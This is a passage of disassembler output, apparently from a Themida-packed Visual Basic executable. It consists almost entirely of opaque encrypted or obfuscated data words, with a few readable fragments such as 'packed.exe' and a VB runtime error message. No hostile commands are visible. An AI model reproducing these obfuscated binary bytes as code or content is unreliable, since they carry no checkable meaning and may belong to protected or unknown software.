		dd 159A878Fh, 22C811B4h, 0E2B31086h, 58EBF1CDh,	10862331h
		dd 15FFEBBCh, 0A5072C2Eh, 735A5535h, 0A3E65D7Fh, 0E1108623h
		dd 477FFF7Ch, 0D1E25E2Bh, 0C7CF839h, 0AD39BA69h, 0C939BF4Bh
		dd 0F0DFF0CDh, 801F3FC6h, 0DA5B1086h, 8BD356F3h, 905997A8h
		dd 2D000000h, 5F57C724h, 86F2BFE4h, 933ABB10h, 0E45F7D5Fh
		dd 1086F2BDh, 93B66F40h, 5A1086F2h, 59396E49h, 0C0A42588h
		dd 4AFE6B2Ah, 0A8697A8h, 0C4000000h, 0A6680793h, 4E3C1FA5h
		dd 55C524E6h, 81F15061h, 0FD249FBDh, 801086F2h,	970764AFh
		dd 825339F3h, 76D69ED7h, 2EDB8F14h, 475C5ACAh, 314274E4h
		dd 51C143CFh, 4F476865h, 7E6558DFh, 6E842BB2h, 0C38CD570h
		dd 5E6F1086h, 8AFA7FACh, 0C67D5FEBh, 1086C383h,	80B1596Ah
		dd 81F17703h, 2461C7AEh, 536056C6h, 81387EEEh, 0A022A518h
		dd 0A8052E30h, 0EC435238h, 0A171F8Fh, 470D4AABh, 1EABE6CFh
		dd 5EBEE342h, 7B3D1086h, 865E81C8h, 745B6C10h, 32DD5B5Bh
		dd 0C86BBE8Bh, 5ED197A8h, 0E5000000h, 6056C624h, 9482F253h
		dd 0C82A951Ch, 0C410258Fh, 1D990D14h, 1C8B900Bh, 0A465052Ah
		dd 0F03FD646h, 0FFF42292h, 0AB0D0979h, 0C910B3A9h, 0B41086DAh
		dd 1D9007E3h, 0A844F12Ch, 4F3797h, 24530000h, 2B8856C6h
		dd 6D6254C4h, 22A28F7Dh, 960384B2h, 666CB27h, 0BBAFA096h
		dd 997CEC4Eh, 39C52493h, 724B4BBBh, 6650C041h, 0F5504669h
		dd 1086F2A9h, 0AA07D5C9h, 0E1DED848h, 86F21D44h, 1BCFE010h
		dd 7D004974h, 397A81Ah,	1, 0DF624F17h, 5D56276Fh, 999A70E0h
		dd 0C108BB1Ch, 0AC1086F2h, 0B4AAB49Bh, 86F2C811h, 0B1E2B310h
		dd 0D8B5E151h, 8CEF0432h, 8EF1421Ch, 0F373962Dh, 29FA1086h
		dd 0CBAA6406h, 53D4DDFFh, 0F31F42E3h, 0CDDE1086h, 0A74B721Dh
		dd 0F3CB0EB5h, 0C5B21086h, 0CEBFF767h, 0AD0809E1h, 0E1F6583Dh
		dd 0D49A7913h, 0F39D4D53h, 784B1343h, 169BA6ACh, 0BDB6E0B1h
		dd 0F827CE3Eh, 0A80B0B7Bh, 16939763h, 9235A811h, 0DFFDC131h
		dd 93973D64h, 47FEC016h, 16939702h, 13F7D8E9h, 0BC48AB78h
		dd 0E9E6D040h, 60E3D0C6h, 4DADC6F0h, 0AC5EBE5h,	9BB4412Dh
		dd 0CF12B19Bh, 0AE16939Eh, 0A515969Dh, 95058071h, 0D4BDACA1h
		dd 4B0FFAE9h, 7BF985E6h, 1D320B0Bh, 2C9B426Dh, 567F5FCFh
		dd 0BB7F8D5Eh, 0B9D5E26Bh, 0BA705C37h, 0C3EE7D6Dh, 9DBD5D36h
		dd 135BEh, 0BABDA00h, 3D903DBh,	86F21940h, 63E2E410h, 1086F23Eh
		dd 27C3ECBDh, 9BF67C7Ch, 843F0116h, 1693F65Dh, 62A71E20h
		dd 91693F6h, 0FE381738h, 7F1686E5h, 0B3E353B0h,	0C9CD3DBEh
		dd 0AFE757D8h, 0E3D343C2h, 5D8639E0h, 0EDDA05ACh, 0D3771E8Eh
		dd 0F6173A09h, 0C5D61693h, 1E036625h, 50899DBDh, 9D000000h
		dd 0DE0EABh, 86F23C45h,	0A8EEBF90h, 0FB6BCDE6h,	0F26DB40Fh
		dd 0CE909086h, 0A3930365h, 0E6D9C0AAh, 0D141A70Ch, 76C27F39h
		dd 2C8D86F6h, 0F8CB93BCh, 1086F2F1h, 0E6CAAB7Ch, 96h, 64BFAE4h
		dd 0E51086F2h, 0F23960E3h, 0F3C41086h, 0AB062EDCh, 0CC3CBF0Bh
		dd 0DEF161C7h, 0DE00DE00h, 86F22267h, 4DF8C910h, 1086F204h
		dd 5DDDD6E7h, 36D4A9EDh, 9C062B87h, 55415216h, 4F6FDF5Ch
		dd 7C6EDE62h, 7D686DF1h, 0D07B50DAh, 0C043F09Ah, 0BDDF6650h
		dd 4316932Eh, 0BC875A7Bh, 0A0CB0926h, 0CAA01073h, 84E7E0CFh
		dd 85398114h, 82538955h, 2D25CEBh, 0DCC7A379h, 10B7B238h
		dd 0B9AAECBDh, 0E9CCCA3Ah, 0FDC18D40h, 0CFE050B1h, 0FF8054EFh
		dd 0A4751A92h, 0BAB6BD1h, 49AE03DBh, 982B31D9h,	16A236FCh
		dd 9A0F361Fh, 0E34F5AAEh, 90869707h, 0E5B020A3h, 397DED4Eh
		dd 6AE195BAh, 31824417h, 0E8961D1h, 5BCB289Fh, 0F7CE90BAh
		dd 1780E5D2h, 0FB68899h, 1780E5CAh, 90AE0B1h, 2E9E1EAAh
		dd 9C1C1501h, 697EC434h, 250A31BBh, 27971819h, 3BEAC943h
		dd 0CD795E94h, 33E7E072h, 9C1F0CFEh, 0D705492Ch, 80FC256Ch
		dd 54DBC817h, 0F2DDB2E4h, 28981B18h, 0A86EEh, 6FC40000h
		dd 0A19E9808h, 4B2F51C9h, 5C5ACA24h, 4274E447h,	3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 0E0895078h, 430FBD55h, 0CD8136C5h, 515204E9h
		dd 8108E5C1h, 83482BC5h, 0F0E5814Dh, 8114CD35h,	0C9351CEDh
		dd 5DE80104h, 8704E883h, 685C2404h, 1D90h, 52240C89h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 1C895C24h, 44B26824h, 0C8B061Bh
		dd 4C48324h, 241C8B54h,	4C481h,	0EC830000h, 240C8904h
		dd 0FF08438Fh, 835B2434h, 0C8B04C4h, 0E0895024h, 405h
		dd 40500h, 4870000h, 1FE95C24h,	93FFFA34h, 49AAB844h, 0C503061Bh
		dd 2C5AE0FFh, 0C3C465E3h, 9D9845F9h, 727356D4h,	7CCE57CDh
		dd 37D44544h, 5F6A7CD7h, 62555C35h, 1D0521B2h, 0EFC704B0h
		dd 8CA22FD0h, 0EE3121C5h, 3B17278Ah, 0C124A33h,	5778589Bh
		dd 9332698Fh, 58D71DE5h, 0D530D4Dh, 0A1F30345h,	0DBE92EF5h
		dd 396D7547h, 9BFB7F01h, 0FCB61446h, 5EC539F6h,	0DCB45647h
		dd 61B46DD7h, 13E826F1h, 0E3000000h, 34164AF0h,	2285473Ch
		dd 0DF317A8h, 200594C8h, 0CE81D88Dh, 60698E10h,	99DC8059h
		dd 647AC181h, 0C8800000h, 81D22B32h, 0C0E58EF0h, 113C8B45h
		dd 0E1D04BBEh, 34C78142h, 0E8126CACh, 9, 0ED60E2Bh, 891D649Bh
		dd 28E0F5Ah, 51000000h,	0C781585Bh, 20B6A0F5h, 84D08166h
		dd 0ECC781B2h, 607E2914h, 0E8C3B70Fh, 0Ah, 9F9BB7D5h, 108B9368h
		dd 0BB66F4FDh, 615F772Dh, 0F113C89h, 1B85h, 14E95600h
		dd 47000000h, 23803EBEh, 361C89B7h, 0B882B891h,	908A751Dh
		dd 5B194A15h, 5B525656h, 0EA835E5Bh, 0E6816604h, 0FA81D8A4h
		dd 0FFFF9C40h, 0FF73850Fh, 8B66FFFFh, 0CE8C1h, 0CDC00000h
		dd 0BDFDBB11h, 28764DA6h, 0EE9FED9h, 1F000000h,	0C6C5F8A9h
		dd 3DE431D1h, 213E4135h, 14E95BBCh, 94000000h, 961A2E02h
		dd 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h, 816EA5D4h, 59C3C3h
		dd 33D48A00h, 1834FFC0h, 8F0Fh,	81590000h, 26BCD9E9h, 0AE921h
		dd 0D3630000h, 0CBB35CCCh, 86BD9D59h, 5672F181h, 0F181485Bh
		dd 1DD55A15h, 512CDA80h, 4810Fh, 0BF660000h, 48F4581h
		dd 12E903h, 7A460000h, 0A36E7519h, 33712E7Bh, 0FC4DFF8h
		dd 0C35979A0h, 4F03E881h, 0BF0F0208h, 0FFC081FBh, 6602084Eh
		dd 0F8C1C681h, 0A6F4F881h, 850FFFFFh, 0FFFFFF8Dh, 0E9B7B9BAh
		dd 17AE944h, 0F16A0000h, 60DD6869h, 3A437C83h, 755F6D5Ch
		dd 6361706Eh, 72656Bh, 6B636170h, 652E6465h, 6578h, 3Ah	dup(0)
		dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h
		dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h
		dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h
		dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h
		dd 65h,	7 dup(0)
		dd 1C7DE9h, 4F816800h, 9BE9061Bh, 68FFFA30h, 61B5080h
		dd 0FA3091E9h, 519168FFh, 87E9061Bh, 68FFFA30h,	61B5264h
		dd 0FA307DE9h, 52A368FFh, 73E9061Bh, 68FFFA30h,	61B535Bh
		dd 0FA3069E9h, 53BF68FFh, 5FE9061Bh, 68FFFA30h,	61B5427h
		dd 0FA3055E9h, 5C1568FFh, 4BE9061Bh, 68FFFA30h,	61B5C87h
		dd 0FA3041E9h, 5D2E68FFh, 37E9061Bh, 68FFFA30h,	61B5E4Dh
		dd 0FA302DE9h, 5EC768FFh, 23E9061Bh, 68FFFA30h,	61B5F7Bh
		dd 0FA3019E9h, 602B68FFh, 0FE9061Bh, 68FFFA30h,	61B60B5h
		dd 0FA3005E9h, 670B68FFh, 0FBE9061Bh, 68FFFA2Fh, 61B6823h
		dd 0FA2FF1E9h, 68B468FFh, 0E7E9061Bh, 90FFFA2Fh, 2FC636h
		dd 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h
		dd 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169DBC6Ch
		dd 4FAE8E0Fh, 0F293B68Dh, 4DF81086h, 1086F204h,	596AD6E7h
		dd 930380B1h, 0BD2D8EA3h, 0FE2ED2D8h, 0FB2D65E0h, 0A7B0169Bh
		dd 0C2612EC2h, 0C8CEE164h, 9372206Dh, 0AA07CD16h, 0C6DBDB4Bh
		dd 0CFC0F666h, 208F0AE0h, 0BD9DC429h, 2F4C9Dh, 0AB600000h
		dd 0AE03DB0Bh, 0CAD7DF4Fh, 0D9DAF565h, 0D1AEE858h, 90A02339h
		dd 0AD169BF5h, 0F21B9A9Ch, 7B1693F1h, 1DA0A914h, 0A39DBD1Dh
		dd 0C0h, 0E1624F77h, 0B3D66D71h, 3A1086F2h, 33908169h
		dd 5CDED3C3h, 60E1D2ECh, 321C1AF0h, 24128201h, 1B8BE82Bh
		dd 0CB48221Bh, 0A5BEF868h, 823FD646h, 1086F617h, 0BEA5AD9h
		dd 0EF279714h, 0B985B589h, 9C01460Ah, 7F162716h, 87578737h
		dd 8B8473BCh, 1D21F210h, 2393F23Fh, 0F868CA47h,	34A4061Dh
		dd 0BED06469h, 117183B1h, 19E9h, 3CD949A5h, 831282E7h
		dd 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h, 0DE61CEA7h
		dd 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9DBD69B0h,	0E9531416h
		dd 747D864Fh, 0A009053Ch, 81E949CAh, 61E410DEh,	1086EE38h
		dd 6AE5F2C3h, 9808659Ah, 26FD98B7h, 7CC055C5h, 3DB0BABh
		dd 9BF5F040h, 7ABC8D16h, 93F1D2FBh, 0C9F49B16h,	0BD1CFD80h
		dd 15949D9Dh, 0EE9C71A5h, 0DB4Eh, 0CA4B8C00h, 2FEAE109h
		dd 24B96109h, 525F57C7h, 2F9680F0h, 1086F6A2h, 47B73A77h
		dd 950566A3h, 990968C9h, 0A6B8A2F1h, 86F7FA1Fh,	19948110h
		dd 27E486A9h, 4CBC38C4h, 0F1C53363h, 0FDDFFDC1h, 86F70346h
		dd 31D9EA10h, 9C00CE92h, 16ADAF16h, 1693EAF3h, 0EF86A97Ah
		dd 71E1466Bh, 0F8A24845h, 7F461848h, 108B81D3h,	1B340F48h
		dd 0EFFED0D3h, 0B48A9BFBh, 0EA8BFB7Fh, 0B845B535h, 0B1BE949Dh
		dd 0EABC383Eh, 0A4000018h, 0E43BDA4Ah, 0B3801585h, 1C13E252h
		dd 0DA492C9Ch, 8E0DE858h, 0B020A21Dh, 79E94EE5h, 0B525879Ch
		dd 80F053E0h, 49FCE2F5h, 169DA200h, 24122AEBh, 0BBDE65C6h
		dd 421086F2h, 68B75E71h, 50FA9B0Bh, 4571E163h, 0F2A5EC57h
		dd 77481086h, 68D85B58h, 81B9512Eh, 5F57C724h, 3590F152h
		dd 1086F2ECh, 491BE8Fh,	0CD202B6h, 9BF69539h, 77475816h
		dd 0F6BBDE65h, 71421693h, 0F5189B99h, 821693F6h, 0E94AA817h
		dd 251A1C8Ch, 21E34645h, 0CB699DBDh, 3D000000h,	0E3935EB2h
		dd 0A4B1ABB3h, 0C3335FB2h, 7776A1Bh, 6FE25656h,	17FBAA40h
		dd 56169B30h, 0F50AB945h, 6EE3344Fh, 9AC49ACAh,	0FCAE1699h
		dd 9DD14D06h, 0FAD3C3ECh, 0B319B510h, 0A4BACC2Ch, 4323F821h
		dd 0D8B283F0h, 59DFD7E8h, 736975A5h, 432389D0h,	0C7A374F0h
		dd 0B553CE75h, 192AF65Ah, 1C8CEC45h, 68CBE86Eh,	0F251CB00h
		dd 103FC866h, 0DD4DAE85h, 0C9F9F40h, 4EB6C0D7h,	17D9h
		dd 2CC939B5h, 730272F7h, 44D141BCh, 7C1989EFh, 42D343A7h
		dd 76B2665h, 0CE31FE97h, 0C68B75Eh, 0C92AF99Ch,	430BBC59h
		dd 9DA35980h, 0D9632416h, 5F57C724h, 410425D9h,	1086F218h
		dd 0E1FDD2E3h, 690171D0h, 0F6AC70D3h, 4051169Bh, 5EB287B5h
		dd 7B9E2537h, 21086F2h,	12820231h, 593F2B24h, 0DA6975A5h
		dd 169BFB76h, 0AF1F9C95h, 0C4F49667h, 6F982BF3h, 0E891BAE7h
		dd 6FD6E818h, 9BA21F5Fh, 0EBF1CDDEh, 0D5DF3158h, 6BCFBC83h
		dd 0EDC2BBFBh, 0D5A90FFDh, 360F9CADh, 0D5E54A8Fh, 57603183h
		dd 0F8D74CC0h, 0FE6ECDE6h, 8E7B4A0Ch, 6B85CC1Ch, 4571E146h
		dd 35FEA248h, 0C586D427h, 0EBF3DC5Bh, 20F565C6h, 0BD40B013h
		dd 24803116h, 6CB274Dh,	88000017h, 48D7BE2Eh, 879C79E9h
		dd 50DFB626h, 3EF580F0h, 0F2A94CBCh, 34A406B9h,	0FD6DD261h
		dd 39A90B18h, 0F464C75Ch, 1DA8B621h, 169DA0F4h,	2446F677h
		dd 1DC657C7h, 4ABDEB94h, 16C7C82Ch, 67C70000h, 0B0111EF7h
		dd 0FF7EB540h, 0B739E68Fh, 181AE47h, 0E4A70491h, 3CD949A9h
		dd 851080E7h, 37DE4EAEh, 7A1B8BE8h, 9BBE8549h, 62169DA0h
		dd 0C7249BA1h, 25D95F57h, 0CA5AE9F5h, 0E9169C0Eh, 0FFB6BC8h
		dd 0B6F79EAFh, 0EA0D4A6Bh, 18897995h, 3B9EA224h, 39651Ch
		dd 6090306Ah, 0BD63E75Eh, 390A108Eh, 0FA895E65h, 85AEA105h
		dd 6E83B323h, 0A4999D0Dh, 5B9DF8Bh, 623A09D5h, 0E3BE4F12h
		dd 0A256E4D2h, 68D96C72h, 0F3B87754h, 0F1421C22h, 0BF6C1E8Eh
		dd 2168DB3Ch, 63A58651h, 34CE092Fh, 4253CD0Dh, 387EEE51h
		dd 968D6847h, 15D8A515h, 4608EB5Ch, 160FD430h, 0FF7F0000h
		dd 0B839E68Fh, 0F776AD48h, 0BF41EE87h, 0F979A64Fh, 0FCAFEC89h
		dd 44D141C1h, 7D1888EFh, 3FD646A6h, 522393F0h, 0A3E65D81h
		dd 4A169DA1h, 93B673C9h, 5F1086F2h, 1087023Eh, 87129BC2h
		dd 0D23E5F10h, 7A5B1086h, 843F5071h, 1086AE5Dh,	77280F20h
		dd 0EF1CCE14h, 0B8811C8Ch, 0A7BDEAE2h, 15AB258Dh, 63E30000h
		dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh
		dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h
		dd 6169DA1h, 624FB785h,	0D66D71E1h, 1086F2B3h, 1781693Ah
		dd 2A9A1B67h, 39233905h, 86F2478Ah, 0BF1D2610h,	34D72EDCh
		dd 0FAA9416Eh, 169CA0AEh, 34FF9EAFh, 2FB7D5B2h,	1543BD45h
		dd 0EB4B0000h, 24859A7Bh, 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh
		dd 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h,	761F8FECh
		dd 9FC2814Dh, 5E169DA6h, 624F9F9Dh, 9A9773E3h, 746DA919h
		dd 0AC8F87F7h, 42A7A20Dh, 0CA97A81Eh, 26h, 0F297B6DEh
		dd 6AC91086h, 0AAE959DEh, 1BFAD545h, 0E277F496h, 1D3A0410h
		dd 5CC86025h, 938169D4h, 14D42Fh, 8D4F0B00h, 86F293B6h
		dd 44DF810h, 0E71086F2h, 0B1596AD6h, 0A3930380h, 2D316115h
		dd 9C0B3A96h, 6C724316h, 0EB8ED372h, 406D1693h,	696650C0h
		dd 85C9A446h, 0EBA5EC57h, 77481693h, 0D591D93h,	4E103FAFh
		dd 82E54E10h, 7A2B2412h, 1693EB57h, 68B11416h, 131693EBh
		dd 5E3D2D02h, 108EEEBEh, 3B286E3Fh, 6AB4ABAh, 1CACECC6h
		dd 4E27971Ah, 44FF60E1h, 1CACEC1Dh, 0B6E0CFE0h,	0CACC3CBDh
		dd 7057862Fh, 0BF9DA111h, 0ACECDD04h, 42873E1Ch, 291CACECh
		dd 0F397A818h, 38A00D98h, 0F142A3D2h, 0AF6C2C94h, 4065E5C1h
		dd 59C9246Fh, 9A8A605Dh, 2E9h, 0AE1EA390h, 624F58BCh, 38296DDDh
		dd 88624DBDh, 203E6E12h, 9C1F7DA5h, 0E72F0016h,	6E0777FAh
		dd 0F8D840C1h, 144CF577h, 3D764867h, 62D233BFh,	0AD6F9D4Dh
		dd 20038DA8h, 836733CEh, 9253F518h, 82AF7F16h, 0B7888EFEh
		dd 0A690007Ch, 0E7D6C1A9h, 24F161E0h, 0B4FA1D3Ah, 0A41D0169h
		dd 0FC2CCCC6h
		dd 227F63E2h, 3CFE1089h, 0ACC24089h, 9A292B1Ch,	1CACC277h
		dd 2D0A25F6h, 0D9E4F541h, 0BBFBD4FAh, 41D444A6h, 0F62090F2h
		dd 0ACF1488Fh, 5C83361Ch, 0D4FDC896h, 971CACF1h, 0C327E486h
		dd 44F4C253h, 87E94A14h, 13361F17h, 1B42B255h, 53F2CCE3h
		dd 1CAC540Eh, 282EDCEDh, 0B154119Dh, 1303141Ah,	20590C49h
		dd 18BA8DECh, 0D242C172h, 1F8FEC43h, 31759C17h,	46B02B9h
		dd 3191A294h, 0C970D5C1h, 0AF5ACD16h, 59ECF200h, 2B93130h
		dd 585ECE2Eh, 2E8B967h,	674AB211h, 227186B8h, 1686EB28h
		dd 75002F20h, 0F3CB3BBEh, 671B46E2h, 0A2BCAE25h, 0B949FE23h
		dd 0BEAC7D02h, 6EDE6350h, 8FCD9128h, 0B949ED34h, 0CBBF9002h
		dd 6BCEF9E4h, 22871AFBh, 0C4A9E7D5h, 8565E693h,	0F5955A1Eh
		dd 0A745h, 0C6246100h, 0C72B8856h, 7C6E5F57h, 3392CC92h
		dd 1086F2EEh, 0B424A08Dh, 0C8A28D82h, 3F77E74Bh, 299E1188h
		dd 0E9BC59C9h, 97A81E84h, 3AAA0D26h, 72F450h, 24C80000h
		dd 525F57C7h, 940465F1h, 0D5BC7BBBh, 0EE5EDDEAh, 1E0F9A07h
		dd 559597A8h, 93000000h, 0B2830BC2h, 37D35A72h,	0B68D4F03h
		dd 1086F293h, 0F7A1495Ah, 7C471747h, 169BF230h,	0EC5CDED3h
		dd 8D899AFEh, 0A31372BFh, 0D5F09A73h, 1693F288h, 0ACEA5ADEh
		dd 0D2C434B7h, 0A935B6FDh, 0E0DDD949h, 0BB6EC7CFh, 0B45BCF14h
		dd 1DBD4009h, 2439DBDh,	57000001h, 7BE3624Fh, 65DDCACEh
		dd 67AF80A5h, 0FABEF496h, 2151F4CAh, 0DC169BFEh, 3EBEF3CBh
		dd 13F7C8CEh, 1DA90819h, 13EC2A9Ah, 2A35223Ch, 71E892Ch
		dd 4AC811B4h, 0E2B31693h, 0E14E1DCDh, 0ADC6F060h, 1FDADC4Ch
		dd 5F82411Bh, 1E16934Bh, 8B325D0Dh, 714DBD3Ch, 0A8560564h
		dd 64C44445h, 0E2CDC2F4h, 0B5386D08h, 3B9DBD6Ah, 85h, 0EB0CAB4Fh
		dd 0F20F52F1h, 0DDEE1086h, 86F22168h, 0D4FBCC10h, 5DDFD40Ah
		dd 0AD4A9EDh, 86F2163Bh, 26C4D510h, 86F27277h, 0EE28F990h
		dd 86F34687h, 0D4FBAA90h, 2595151Eh, 84AC4B45h,	251B969Ah
		dd 23A2BC2Dh, 9086EAFEh, 0BB83AC7Dh, 0E486F676h, 0EA8EF352h
		dd 1C2D1086h, 93171C42h, 0AB1AF323h, 1086EA66h,	37563405h
		dd 577A4913h, 891086EAh, 3304BC2Ch, 1B6B57h, 50610000h
		dd 960665F1h, 0EA807DB9h, 6BB532h, 0BEF30000h, 0D9CACC3Ch
		dd 24C6E959h, 59C924F0h, 0C3426F5Dh, 0CA796353h, 1086F287h
		dd 907A5566h, 0C7AE1EA3h, 5BCB2E83h, 9EFF82AFh,	86F2E227h
		dd 97B88910h, 249FBD9Fh, 1086F2FDh, 0F262A71Eh,	38091086h
		dd 0DDD3B788h, 4DA8EE1Eh, 1086F203h, 51F4EAECh,	1086F208h
		dd 514822F3h, 1A7EEB5Eh, 132097A8h, 79A941B1h, 0B3Fh, 0DD624F8Dh
		dd 0B654296Dh, 72F541FCh, 143B1402h, 900A0D4Ah,	0FF3E6499h
		dd 0E4A2210Bh, 7F9A3221h, 19A4A518h, 9F215359h,	62h, 0A818949Dh
		dd 22C2838Fh, 0AC5E65C7h, 0E010AB88h, 1C4500DEh, 0DF1086F2h
		dd 0AB1A1CCEh, 1086F266h, 83023405h, 0B9FABFB0h, 3363D332h
		dd 4D49B93Eh, 7DC03AAh,	97C491A3h, 0E572163Ah, 36A99713h
		dd 5A7573DCh, 1CD609B0h, 1A79933Bh, 0DBFCBB65h,	0A35AAB53h
		dd 0EDA842E3h, 411B2880h, 21108h, 10AB2400h, 6E52BCE0h
		dd 0DF66C724h, 1086F2BAh, 7F5F7041h, 69D9545Dh,	86F295BCh
		dd 0A3475810h, 0A6AB8F6Fh, 68A82673h, 2DB9h, 10ABCD00h
		dd 4500DEE0h, 1086F21Ch, 0ED47CC76h, 0E858D84Dh, 4FFF33D7h
		dd 86F2A8F4h, 407C4D10h, 0C9246B4Fh, 72566359h,	1FB5h
		dd 10ABD100h, 0F44FBCE0h, 1086F2A8h, 4FCAF2DBh,	311488Dh
		dd 0C46859BCh, 0C924EE26h, 72566359h, 285328B6h, 56C6240Fh
		dd 54C42B88h, 3E73D7B6h, 74494DBDh, 0A6169596h,	5ECE2C9Bh
		dd 7C62E483h, 279080C9h, 0B05A6BEEh, 92F1D609h,	0FF37A706h
		dd 311E8EF2h, 50B3801Eh, 5080E1E0h, 4C3EABDh, 0F56737A7h
		dd 90355CE7h, 0E7B8EE27h, 35A50603h, 39A90829h,	0D76A00FDh
		dd 4C908AE8h, 31EE2790h, 0D7C26160h, 0EC5CDFE8h, 31A12112h
		dd 0B36D7A05h, 76F4D3FAh, 43C06F06h, 61004ADBh,	614E5157h
		dd 0AE0F7360h, 7FB72785h, 9CE3269Dh, 0B98AEE27h, 85C9F496h
		dd 68EE279Ch, 9F168A57h, 1171C230h, 637D96A1h, 1FBF861Ch
		dd 0CD3DBE6Bh, 13830031h, 44A66F4Eh, 253E78E8h,	525E58C8h
		dd 57EE04ABh, 0EE27B832h, 0F1C7E8B9h, 0B734933Ah, 99D90A4Fh
		dd 183768ACh, 0DE4EAD86h, 91F23F03h, 6AC84921h,	648E7FAh
		dd 0EA5ADBD8h, 2786163Bh, 26C4D5EEh, 83446Bh, 0D8BB5598h
		dd 8DA2F703h, 0C72449F1h, 90526557h, 2A818BC7h,	246F65D6h
		dd 6C6155C5h, 0CAB967Eh, 0F23158EBh, 0EBBC1086h, 0AB8FD8C4h
		dd 0A82673A6h, 3EB968h,	0ABCD0000h, 4FE0DC0Ch, 86F2A8F4h
		dd 627C4D10h, 7F835C75h, 0C4A609FFh, 0AA864F50h, 9F070BADh
		dd 526AEC9Eh, 4F64C524h, 87CA7BEBh, 661086F2h, 56427A55h
		dd 0DD624F72h, 271D7D6Dh, 0F9000000h, 0E0DC0CABh, 0F2A8F44Fh
		dd 0F2DB1086h, 246B4FCAh, 566755C5h, 8C189F94h,	857ABC2Ch
		dd 5FD8DAAh, 0A8C20D90h, 0F8B65AC2h, 10108703h,	0FFFD64B4h
		dd 97B688FFh, 501086F2h, 6EF085B5h, 0A6CFE369h,	0E505D242h
		dd 0E92AC09Eh, 9B1A1C8Ch, 1086D576h, 9F970768h,	0D5C13192h
		dd 9E547B32h, 86D5E227h, 97B88910h, 2487ACAEh, 127182B4h
		dd 0B2DD8DA2h, 0D141BC0Bh, 0D343A40Dh, 0F969CEE3h, 0F55934D6h
		dd 0C8CE3EBCh, 931613F7h, 0D54E9332h, 1C2D1086h, 0BBF86233h
		dd 65CAC939h, 0DC9B15F5h, 8F0B6AACh, 6152DD62h,	2C4571E1h
		dd 0DC595DCDh, 0E545822Dh, 49F05A75h, 0C3825C96h, 52D0899Eh
		dd 0EF9E4C5Dh, 0D9FE998Ah, 1D612h, 96B62600h, 511086F2h
		dd 7B617DADh, 0C726B236h, 0B93B7857h, 0F602A149h, 25169C1Fh
		dd 4F3BAB0Ch, 68B75E6Fh, 88999D0Dh, 647DB929h
		db 5, 95h
word_5DF622	dw 17A1h		; DATA XREF: Themida_:0057ACC0o
		dd 0F123F67h, 0BB9C0C6Dh, 0C5EA8DBBh, 55364AF9h, 0E6B7108Eh
		dd 0C0DC4617h, 0AF1321B1h, 0D55h, 0A84DBD39h, 0EF86F67Bh
		dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh
		dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9DAEED34h, 2D0F9016h
		dd 5F57C724h, 0E9F525D9h, 0A23FA55Ah, 70F72416h, 231383E4h
		dd 142A052Ah, 472E9E1Fh, 0A9ED5DD8h, 0CBCB3BB8h, 5569995Dh
		dd 276FDF5Ch, 23A2B456h, 10874D87h, 8DF88596h, 4EB1BB3Bh
		dd 0CE3CC28h, 4BAB0000h, 84E53ADBh, 53B28114h, 9B1D12E3h
		dd 55D54A2Bh, 109B10E5h, 0C8AD1D9Dh, 9164D45Bh,	0E3B222A2h
		dd 967FEF4Ch, 7FA2212Dh, 0FE169DAEh, 0C724BF7Dh, 25D95F57h
		dd 0E2F3E9F5h, 4A5118A8h, 2281695Fh, 169B94AAh,	66570C49h
		dd 262087F6h, 42155E9Ch, 0F44F26E1h, 169346ADh,	0BA507F50h
		dd 0D3603506h, 1888E470h, 0A8585E37h, 0AA716678h, 0B2ED1174h
		dd 0E95CE288h, 10B74339h, 0C6EBF3C4h, 111EF767h, 0DD824CB4h
		dd 670CC823h, 0D6554E48h, 0F6CA3066h, 7D4DF8C6h, 1AACBAh
		dd 0CDE14E2Fh, 0F8FEABA5h, 0C3C7Ch, 84F45200h, 4FBF42F1h
		dd 8CFC79A6h, 46B63AE9h, 920280AFh, 0ACE7A403h,	0E837DE4Eh
		dd 0B17E1787h, 1D12E353h, 7C472E9Eh, 0AFAEF352h, 0CC4D169Dh
		dd 0B68D4F70h, 1086F293h, 45FB6BCDh, 16959674h,	0ACBF98A6h
		dd 76F1FB84h, 0CE5CDAB0h, 61E4FA2Ah, 169BBC9Dh,	0B9660F20h
		dd 0E8F6C838h, 93A2345Dh, 67CAB716h, 0E1CEBFF7h, 38B56A09h
		dd 0ABFF2DC8h, 0AE03DB0Bh, 3D6EE24Ah, 0C2B758Fh, 4EF54723h
		dd 169CF1CEh, 1D989EAFh, 1690F1F0h, 9F2687E6h, 1690F17Ah
		dd 171F3001h, 0FF37A70Ah, 0B92A9504h, 1237A611h, 9DBE1DA7h
		dd 0F05C0E47h, 83EE38EDh, 0BA3BE7h, 40710000h, 84B852C2h
		dd 6155C524h, 9581F150h, 6AAC1C9Ch, 0C597F879h,	86F2DBFEh
		dd 3491A210h, 1086F2EDh, 0AE1EA390h, 97B89768h,	5E7B5CFEh
		dd 0A8F1541Bh, 531086D0h, 0AECA7542h, 2366DDE1h, 0CA108640h
		dd 0D7A711F9h, 97C597A7h, 8640E52Ch, 0D3B78810h, 9CA9CCE8h
		dd 26847116h, 0A08F80B6h, 0D5BB66DDh, 0FB777DB7h, 0B1Dh
		dd 0D0A51571h, 876EDE63h, 0C8AD1D98h, 9065D55Bh, 0C6AF1FA3h
		dd 83E7DAD1h, 4AAD8213h, 88E43BDAh, 45A67D18h, 0C79740D5h
		dd 9DACD5FCh, 65D79816h, 8955C524h, 4250A34Ch, 3093EE2Dh
